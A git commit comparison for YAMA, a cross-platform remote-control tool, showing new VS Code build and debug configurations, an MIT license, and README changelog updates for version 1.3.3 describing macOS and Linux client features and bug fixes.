Compare commits
57 Commits
v1.3.2
...
ccab37658a
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ccab37658a | ||
|
|
4e0627e6a3 | ||
|
|
dc48091d5b | ||
|
|
4d2b12a9dd | ||
|
|
4279e79aa7 | ||
|
|
14387d69ca | ||
|
|
744ebfba0d | ||
|
|
5a92c3306f | ||
|
|
5d9554780f | ||
|
|
84a52b9dcf | ||
|
|
571ec7d80c | ||
|
|
ead4f909ee | ||
|
|
e762e3cbd1 | ||
|
|
6c32b478af | ||
|
|
b813d94486 | ||
|
|
0fe67b16d5 | ||
|
|
b69d61617f | ||
|
|
929436e29d | ||
|
|
95946e0e6a | ||
|
|
ab7a16bec5 | ||
|
|
9acd141cab | ||
|
|
153cbddcf6 | ||
|
|
d46176f4ef | ||
|
|
70354e244c | ||
|
|
a354f1ed86 | ||
|
|
f85cc8b86c | ||
|
|
bc06fd5af5 | ||
|
|
731ff7a894 | ||
|
|
566f5b8d42 | ||
|
|
70a6b0128e | ||
|
|
b252cbbaf2 | ||
|
|
5f4fb62d20 | ||
|
|
ef8165c3b4 | ||
|
|
2c5b5ad628 | ||
|
|
0aa75882d1 | ||
|
|
11434653e9 | ||
|
|
05a9bb1245 | ||
|
|
a89f8dd28f | ||
|
|
6113b4653d | ||
|
|
f11fc93ba8 | ||
|
|
773c78ac0f | ||
|
|
92f3df8464 | ||
|
|
b732f841d0 | ||
|
|
1df2a7b321 | ||
|
|
3d8e90da14 | ||
|
|
12e2a33062 | ||
|
|
a8b0932080 | ||
|
|
ca37fa419a | ||
|
|
36423b1c7c | ||
|
|
a3611d9fc1 | ||
|
|
9ae5529458 | ||
|
|
171fa750e5 | ||
|
|
8ed9ba8426 | ||
|
|
fd3838a151 | ||
|
|
56419f8ecb | ||
|
|
bb6fd7b1b9 | ||
|
|
3607f1d768 |
16
.gitignore
vendored
16
.gitignore
vendored
@@ -74,3 +74,19 @@ test/build/
|
|||||||
docs/MultiLayerLicense_Design.md
|
docs/MultiLayerLicense_Design.md
|
||||||
docs/MultiLayerLicense_Implementation.md
|
docs/MultiLayerLicense_Implementation.md
|
||||||
docs/_CodeReference.md
|
docs/_CodeReference.md
|
||||||
|
linux/CMakeFiles/*
|
||||||
|
Releases/*
|
||||||
|
*.log
|
||||||
|
*.txt
|
||||||
|
linux/Makefile
|
||||||
|
linux/cmake_install.cmake
|
||||||
|
.vs
|
||||||
|
docs/macOS_Support_Design.md
|
||||||
|
settings.local.json
|
||||||
|
*.zip
|
||||||
|
*.lic
|
||||||
|
YAMA.code-workspace
|
||||||
|
.claude/settings.json
|
||||||
|
.vscode/settings.json
|
||||||
|
Bin/*
|
||||||
|
nul
|
||||||
|
|||||||
43
.vscode/build.ps1
vendored
Normal file
43
.vscode/build.ps1
vendored
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Target,
|
||||||
|
|
||||||
|
[ValidateSet("Debug", "Release")]
|
||||||
|
[string]$Configuration = "Debug",
|
||||||
|
|
||||||
|
[ValidateSet("x64", "x86", "Win32")]
|
||||||
|
[string]$Platform = "x64"
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
|
||||||
|
if (-not (Test-Path $vswhere)) {
|
||||||
|
Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
|
||||||
|
Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
$msbuild = & $vswhere -latest -prerelease -products * `
|
||||||
|
-requires Microsoft.Component.MSBuild `
|
||||||
|
-find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
|
||||||
|
|
||||||
|
if (-not $msbuild) {
|
||||||
|
Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
|
||||||
|
|
||||||
|
Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
|
||||||
|
Write-Host "Solution: $sln" -ForegroundColor Cyan
|
||||||
|
Write-Host "Target : $Target | $Configuration | $Platform" -ForegroundColor Cyan
|
||||||
|
Write-Host ""
|
||||||
|
|
||||||
|
& $msbuild $sln.Path `
|
||||||
|
"/t:$Target" `
|
||||||
|
"/p:Configuration=$Configuration" `
|
||||||
|
"/p:Platform=$Platform" `
|
||||||
|
/m /v:minimal /nologo
|
||||||
|
|
||||||
|
exit $LASTEXITCODE
|
||||||
61
.vscode/c_cpp_properties.json
vendored
Normal file
61
.vscode/c_cpp_properties.json
vendored
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
{
|
||||||
|
"version": 4,
|
||||||
|
"configurations": [
|
||||||
|
{
|
||||||
|
"name": "Win32",
|
||||||
|
"intelliSenseMode": "windows-msvc-x64",
|
||||||
|
"compilerPath": "cl.exe",
|
||||||
|
"cStandard": "c11",
|
||||||
|
"cppStandard": "c++17",
|
||||||
|
"windowsSdkVersion": "10.0.19041.0",
|
||||||
|
"includePath": [
|
||||||
|
"${workspaceFolder}",
|
||||||
|
"${workspaceFolder}/client",
|
||||||
|
"${workspaceFolder}/common",
|
||||||
|
"${workspaceFolder}/compress",
|
||||||
|
"${workspaceFolder}/compress/ffmpeg",
|
||||||
|
"${workspaceFolder}/server/2015Remote",
|
||||||
|
"${workspaceFolder}/server/2015Remote/proxy",
|
||||||
|
"${workspaceFolder}/client/d3d",
|
||||||
|
"${env:VLDPATH}/include"
|
||||||
|
],
|
||||||
|
"defines": [
|
||||||
|
"_WIN32",
|
||||||
|
"_WINDOWS",
|
||||||
|
"_DEBUG",
|
||||||
|
"_MBCS",
|
||||||
|
"ZLIB_WINAPI",
|
||||||
|
"_CRT_SECURE_NO_WARNINGS",
|
||||||
|
"_AFXDLL",
|
||||||
|
"_USRDLL"
|
||||||
|
],
|
||||||
|
"browse": {
|
||||||
|
"path": [
|
||||||
|
"${workspaceFolder}/client",
|
||||||
|
"${workspaceFolder}/common",
|
||||||
|
"${workspaceFolder}/compress",
|
||||||
|
"${workspaceFolder}/server"
|
||||||
|
],
|
||||||
|
"limitSymbolsToIncludedHeaders": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Linux (WSL)",
|
||||||
|
"intelliSenseMode": "linux-gcc-x64",
|
||||||
|
"compilerPath": "/usr/bin/g++",
|
||||||
|
"cStandard": "c11",
|
||||||
|
"cppStandard": "c++11",
|
||||||
|
"includePath": [
|
||||||
|
"${workspaceFolder}",
|
||||||
|
"${workspaceFolder}/client",
|
||||||
|
"${workspaceFolder}/common",
|
||||||
|
"${workspaceFolder}/compress",
|
||||||
|
"${workspaceFolder}/linux",
|
||||||
|
"${workspaceFolder}/linux/mterm"
|
||||||
|
],
|
||||||
|
"defines": [
|
||||||
|
"__linux__"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
8
.vscode/extensions.json
vendored
Normal file
8
.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
{
|
||||||
|
"recommendations": [
|
||||||
|
"ms-vscode.cpptools",
|
||||||
|
"ms-vscode-remote.remote-wsl",
|
||||||
|
"ms-vscode.powershell",
|
||||||
|
"twxs.cmake"
|
||||||
|
]
|
||||||
|
}
|
||||||
86
.vscode/launch.json
vendored
Normal file
86
.vscode/launch.json
vendored
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
{
|
||||||
|
"version": "0.2.0",
|
||||||
|
"configurations": [
|
||||||
|
{
|
||||||
|
"name": "Yama (Debug x64)",
|
||||||
|
"type": "cppvsdbg",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "${workspaceFolder}/Bin/Yama_x64d.exe",
|
||||||
|
"args": [
|
||||||
|
"-agent"
|
||||||
|
],
|
||||||
|
"stopAtEntry": false,
|
||||||
|
"cwd": "${workspaceFolder}/Bin",
|
||||||
|
"environment": [],
|
||||||
|
"preLaunchTask": "Build Yama (Debug x64)",
|
||||||
|
"symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
|
||||||
|
"sourceFileMap": {
|
||||||
|
"${workspaceFolder}": "${workspaceFolder}"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Yama (Attach)",
|
||||||
|
"type": "cppvsdbg",
|
||||||
|
"request": "attach",
|
||||||
|
"processId": "${command:pickProcess}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ghost (Debug x64)",
|
||||||
|
"type": "cppvsdbg",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "${workspaceFolder}/x64/Debug/ghost.exe",
|
||||||
|
"args": [],
|
||||||
|
"stopAtEntry": false,
|
||||||
|
"cwd": "${workspaceFolder}/x64/Debug",
|
||||||
|
"environment": [],
|
||||||
|
"console": "externalTerminal",
|
||||||
|
"preLaunchTask": "Build ghost (Debug x64)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "TestRun (Debug x64)",
|
||||||
|
"type": "cppvsdbg",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "${workspaceFolder}/x64/Debug/TestRun.exe",
|
||||||
|
"args": [],
|
||||||
|
"stopAtEntry": false,
|
||||||
|
"cwd": "${workspaceFolder}/x64/Debug",
|
||||||
|
"environment": [],
|
||||||
|
"console": "externalTerminal",
|
||||||
|
"preLaunchTask": "Build TestRun (Debug x64)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ghost (Linux WSL)",
|
||||||
|
"type": "cppdbg",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "/mnt/c/github/YAMA/linux/ghost",
|
||||||
|
"args": [],
|
||||||
|
"stopAtEntry": false,
|
||||||
|
"cwd": "/mnt/c/github/YAMA/linux",
|
||||||
|
"environment": [],
|
||||||
|
"externalConsole": false,
|
||||||
|
"MIMode": "gdb",
|
||||||
|
"miDebuggerPath": "/usr/bin/gdb",
|
||||||
|
"pipeTransport": {
|
||||||
|
"pipeCwd": "${workspaceFolder}",
|
||||||
|
"pipeProgram": "C:\\Windows\\System32\\wsl.exe",
|
||||||
|
"pipeArgs": [
|
||||||
|
"-e",
|
||||||
|
"bash",
|
||||||
|
"-c"
|
||||||
|
],
|
||||||
|
"debuggerPath": "/usr/bin/gdb"
|
||||||
|
},
|
||||||
|
"sourceFileMap": {
|
||||||
|
"/mnt/c/github/YAMA": "${workspaceFolder}"
|
||||||
|
},
|
||||||
|
"setupCommands": [
|
||||||
|
{
|
||||||
|
"description": "Enable pretty-printing for gdb",
|
||||||
|
"text": "-enable-pretty-printing",
|
||||||
|
"ignoreFailures": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"preLaunchTask": "Build ghost (Linux WSL)"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
109
.vscode/tasks.json
vendored
Normal file
109
.vscode/tasks.json
vendored
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
{
|
||||||
|
"version": "2.0.0",
|
||||||
|
"tasks": [
|
||||||
|
{
|
||||||
|
"label": "Build Yama (Debug x64)",
|
||||||
|
"type": "shell",
|
||||||
|
"command": "powershell",
|
||||||
|
"args": [
|
||||||
|
"-NoProfile",
|
||||||
|
"-ExecutionPolicy",
|
||||||
|
"Bypass",
|
||||||
|
"-File",
|
||||||
|
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||||
|
"-Target",
|
||||||
|
"Yama",
|
||||||
|
"-Configuration",
|
||||||
|
"Debug",
|
||||||
|
"-Platform",
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"problemMatcher": [
|
||||||
|
"$msCompile"
|
||||||
|
],
|
||||||
|
"group": "build",
|
||||||
|
"presentation": {
|
||||||
|
"reveal": "silent",
|
||||||
|
"panel": "dedicated",
|
||||||
|
"clear": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "Build ghost (Debug x64)",
|
||||||
|
"type": "shell",
|
||||||
|
"command": "powershell",
|
||||||
|
"args": [
|
||||||
|
"-NoProfile",
|
||||||
|
"-ExecutionPolicy",
|
||||||
|
"Bypass",
|
||||||
|
"-File",
|
||||||
|
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||||
|
"-Target",
|
||||||
|
"ghost",
|
||||||
|
"-Configuration",
|
||||||
|
"Debug",
|
||||||
|
"-Platform",
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"problemMatcher": [
|
||||||
|
"$msCompile"
|
||||||
|
],
|
||||||
|
"group": "build",
|
||||||
|
"presentation": {
|
||||||
|
"reveal": "silent",
|
||||||
|
"panel": "dedicated",
|
||||||
|
"clear": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "Build TestRun (Debug x64)",
|
||||||
|
"type": "shell",
|
||||||
|
"command": "powershell",
|
||||||
|
"args": [
|
||||||
|
"-NoProfile",
|
||||||
|
"-ExecutionPolicy",
|
||||||
|
"Bypass",
|
||||||
|
"-File",
|
||||||
|
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||||
|
"-Target",
|
||||||
|
"TestRun",
|
||||||
|
"-Configuration",
|
||||||
|
"Debug",
|
||||||
|
"-Platform",
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"problemMatcher": [
|
||||||
|
"$msCompile"
|
||||||
|
],
|
||||||
|
"group": "build",
|
||||||
|
"presentation": {
|
||||||
|
"reveal": "silent",
|
||||||
|
"panel": "dedicated",
|
||||||
|
"clear": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "Build ghost (Linux WSL)",
|
||||||
|
"type": "process",
|
||||||
|
"command": "wsl",
|
||||||
|
"args": [
|
||||||
|
"-e",
|
||||||
|
"bash",
|
||||||
|
"-c",
|
||||||
|
"cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
|
||||||
|
],
|
||||||
|
"options": {
|
||||||
|
"cwd": "${workspaceFolder}\\linux"
|
||||||
|
},
|
||||||
|
"problemMatcher": [
|
||||||
|
"$gcc"
|
||||||
|
],
|
||||||
|
"group": "build",
|
||||||
|
"presentation": {
|
||||||
|
"reveal": "always",
|
||||||
|
"panel": "dedicated",
|
||||||
|
"clear": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2019-2026 yuanyuanxiang
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to furnish persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
|
||||||
|
OTHER DEALINGS IN THE SOFTWARE.
|
||||||
52
ReadMe.md
52
ReadMe.md
@@ -494,33 +494,71 @@ make
|
|||||||
|
|
||||||
**系统要求**:
|
**系统要求**:
|
||||||
- macOS 10.15 (Catalina) 及以上
|
- macOS 10.15 (Catalina) 及以上
|
||||||
|
- 架构支持:Intel (x64) 和 Apple Silicon (arm64) 通用二进制
|
||||||
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
|
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
|
||||||
|
|
||||||
**功能支持**:
|
**功能支持**:
|
||||||
|
|
||||||
| 功能 | 状态 | 实现 |
|
| 功能 | 状态 | 实现 |
|
||||||
|------|------|------|
|
|------|------|------|
|
||||||
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获,H.264 硬件编码 |
|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获,VideoToolbox H.264 硬件编码 |
|
||||||
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
|
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
|
||||||
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
|
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
|
||||||
| 光标同步 | ✅ | 实时同步远程光标样式 |
|
| 光标同步 | ✅ | 实时同步远程光标样式 |
|
||||||
|
| 远程终端 | ✅ | PTY 交互式 Shell(zsh/bash) |
|
||||||
|
| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
| 文件管理 | ⏳ | 开发中 |
|
| 分组管理 | ✅ | 持久化配置文件 |
|
||||||
| 远程终端 | ⏳ | 开发中 |
|
| 进程管理 | ⏳ | 开发中 |
|
||||||
|
| 剪贴板 | ⏳ | 开发中 |
|
||||||
|
|
||||||
**编译方式**:
|
**编译方式**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd macos
|
cd macos
|
||||||
mkdir build && cd build
|
./build.sh
|
||||||
cmake ..
|
# 或手动编译:
|
||||||
make
|
# mkdir build && cd build && cmake .. && make
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
|
### v1.3.3 (2026.5.10)
|
||||||
|
|
||||||
|
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **服务端身份校验(Layer 1)**:Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
|
||||||
|
- **子连接认证(Layer 2,TOKEN_CONN_AUTH)**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
|
||||||
|
- **Linux 客户端**:H.264 硬件编码(动态加载 libx264)、XFixes 光标类型检测、UTF-8 协议能力位
|
||||||
|
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler)、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
|
||||||
|
- **主控**:屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
|
||||||
|
|
||||||
|
**重构:**
|
||||||
|
- Linux/macOS 客户端共享代码抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),减少 ~300 行重复
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
|
||||||
|
- `build.ps1` 增加 `vswhere` 兜底(VS 装非默认盘也能找到)
|
||||||
|
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
|
||||||
|
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin),适配分发场景
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
|
||||||
|
- 现代终端在 SYSTEM 权限下空白(WebView2 不支持 LocalSystem)
|
||||||
|
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
|
||||||
|
- 日志列表表头点击错排序到主机列表
|
||||||
|
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
|
||||||
|
- 服务+代理 Release 模式托盘图标不显示
|
||||||
|
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
|
||||||
|
- 文件对话框 map 野指针崩溃
|
||||||
|
- 重连时未清回调导致访问已销毁 handler 崩溃
|
||||||
|
- MFC 与 Web 远程桌面会话未完全独立
|
||||||
|
- macOS 锁屏状态远程桌面启动时未唤醒显示器
|
||||||
|
- MFC 远程桌面触控板双指滚动失效
|
||||||
|
|
||||||
### v1.3.2 (2026.5.1)
|
### v1.3.2 (2026.5.1)
|
||||||
|
|
||||||
**macOS 客户端 & Web 远程桌面增强**
|
**macOS 客户端 & Web 远程桌面增强**
|
||||||
@@ -678,7 +716,6 @@ make
|
|||||||
## 相关项目
|
## 相关项目
|
||||||
|
|
||||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
|
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
|
||||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
|
|
||||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
|
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -690,7 +727,6 @@ make
|
|||||||
| **QQ** | 962914132 |
|
| **QQ** | 962914132 |
|
||||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
|
||||||
| **Issues** | [问题反馈](https://t.me/SimpleRemoter) |
|
| **Issues** | [问题反馈](https://t.me/SimpleRemoter) |
|
||||||
| **PR** | [贡献代码](https://git.simpleremoter.com/) |
|
| **PR** | [贡献代码](https://git.simpleremoter.com/) |
|
||||||
|
|
||||||
|
|||||||
52
ReadMe_EN.md
52
ReadMe_EN.md
@@ -479,33 +479,71 @@ make
|
|||||||
|
|
||||||
**System Requirements**:
|
**System Requirements**:
|
||||||
- macOS 10.15 (Catalina) or later
|
- macOS 10.15 (Catalina) or later
|
||||||
|
- Architecture: Universal Binary (Intel x64 + Apple Silicon arm64)
|
||||||
- Required permissions: Screen Recording, Accessibility, Full Disk Access
|
- Required permissions: Screen Recording, Accessibility, Full Disk Access
|
||||||
|
|
||||||
**Feature Support**:
|
**Feature Support**:
|
||||||
|
|
||||||
| Feature | Status | Implementation |
|
| Feature | Status | Implementation |
|
||||||
|---------|--------|----------------|
|
|---------|--------|----------------|
|
||||||
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
|
| Remote Desktop | ✅ | CoreGraphics screen capture, VideoToolbox H.264 hardware encoding |
|
||||||
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
|
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
|
||||||
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
|
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
|
||||||
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
|
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
|
||||||
|
| Remote Terminal | ✅ | PTY interactive shell (zsh/bash) |
|
||||||
|
| File Management | ✅ | Bidirectional transfer, V2 protocol, large file support |
|
||||||
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
|
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
|
||||||
| File Management | ⏳ | In development |
|
| Group Management | ✅ | Persistent configuration file |
|
||||||
| Remote Terminal | ⏳ | In development |
|
| Process Management | ⏳ | In development |
|
||||||
|
| Clipboard | ⏳ | In development |
|
||||||
|
|
||||||
**Build Instructions**:
|
**Build Instructions**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd macos
|
cd macos
|
||||||
mkdir build && cd build
|
./build.sh
|
||||||
cmake ..
|
# Or manually:
|
||||||
make
|
# mkdir build && cd build && cmake .. && make
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Changelog
|
## Changelog
|
||||||
|
|
||||||
|
### v1.3.3 (2026.5.10)
|
||||||
|
|
||||||
|
**Linux/macOS Client Maturation & Two-Layer Auth & Cross-Platform Code Refactor**
|
||||||
|
|
||||||
|
**New Features:**
|
||||||
|
- **Server Identity Verification (Layer 1)**: Linux/macOS clients verify server via HMAC-SHA256; unauthorized server cannot trigger any sub-connection
|
||||||
|
- **Sub-Connection Auth (Layer 2, TOKEN_CONN_AUTH)**: All sub-connections sign first packet + clientID pinned, eliminates NAT/127.0.0.1 routing mismatches
|
||||||
|
- **Linux Client**: H.264 hardware encoding (dynamic libx264 loading), XFixes cursor type detection, UTF-8 protocol capability bit
|
||||||
|
- **macOS Client**: File manager, remote terminal (shared PTYHandler), clipboard sync, daemon mode (-d), power management, screen lock/idle detection, CGDisplayStream push-mode optimization
|
||||||
|
- **Master**: Screen preview thumbnail, region screenshot, remote desktop zoom, Web user group filtering, embedded modern terminal, adaptive screen algorithm, external resource override, group name persistence, Build Dialog support for generating macOS client
|
||||||
|
|
||||||
|
**Refactor:**
|
||||||
|
- Linux/macOS client shared code extracted to `common/` (rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread), ~300 lines duplication removed
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- Modern Terminal SYSTEM compatibility: auto fallback to classic terminal with precise reason in info list
|
||||||
|
- `build.ps1` adds `vswhere` fallback (finds VS installed on non-default drives)
|
||||||
|
- Force `/source-charset:utf-8 /execution-charset:.936` to fix Chinese garbling when compiling on English Windows
|
||||||
|
- macOS `install.sh` source binary priority optimized (command-line → script dir → build/bin), better suits distribution scenarios
|
||||||
|
|
||||||
|
**Bug Fixes:**
|
||||||
|
- V2 file transfer broken in both directions in FileManager dialog (upload IP routing errors + download chunks not dispatched)
|
||||||
|
- Modern Terminal blank under SYSTEM (WebView2 does not support LocalSystem)
|
||||||
|
- Linux client UTF-8 path/active-window garbled on server
|
||||||
|
- Log list header click incorrectly sorted host list
|
||||||
|
- Header sort broken after LVM_SETUNICODEFORMAT (HDN_ITEMCLICKW mapping added)
|
||||||
|
- Tray icon not showing in Release service+agent mode
|
||||||
|
- macOS/Linux clients did not resend LOGIN_INFOR after group change
|
||||||
|
- File dialog map dangling pointer crashes
|
||||||
|
- Reconnect crash from not clearing callback before destruction
|
||||||
|
- MFC and Web remote desktop sessions not fully independent
|
||||||
|
- macOS locked screen: display not woken on remote desktop start
|
||||||
|
- MFC remote desktop touchpad two-finger scroll not working
|
||||||
|
|
||||||
### v1.3.2 (2026.5.1)
|
### v1.3.2 (2026.5.1)
|
||||||
|
|
||||||
**macOS Client & Web Remote Desktop Enhancement**
|
**macOS Client & Web Remote Desktop Enhancement**
|
||||||
@@ -663,7 +701,6 @@ For complete update history, see: [history.md](./history.md)
|
|||||||
## Related Projects
|
## Related Projects
|
||||||
|
|
||||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control
|
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control
|
||||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - Big Grey Wolf 9.5
|
|
||||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation
|
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -675,7 +712,6 @@ For complete update history, see: [history.md](./history.md)
|
|||||||
| **QQ** | 962914132 |
|
| **QQ** | 962914132 |
|
||||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
|
||||||
| **Issues** | [Report Issues](https://t.me/SimpleRemoter) |
|
| **Issues** | [Report Issues](https://t.me/SimpleRemoter) |
|
||||||
| **PR** | [Contribute](https://git.simpleremoter.com/) |
|
| **PR** | [Contribute](https://git.simpleremoter.com/) |
|
||||||
|
|
||||||
|
|||||||
52
ReadMe_TW.md
52
ReadMe_TW.md
@@ -478,33 +478,71 @@ make
|
|||||||
|
|
||||||
**系統要求**:
|
**系統要求**:
|
||||||
- macOS 10.15 (Catalina) 及以上
|
- macOS 10.15 (Catalina) 及以上
|
||||||
|
- 架構支援:Intel (x64) 和 Apple Silicon (arm64) 通用二進位
|
||||||
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
|
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
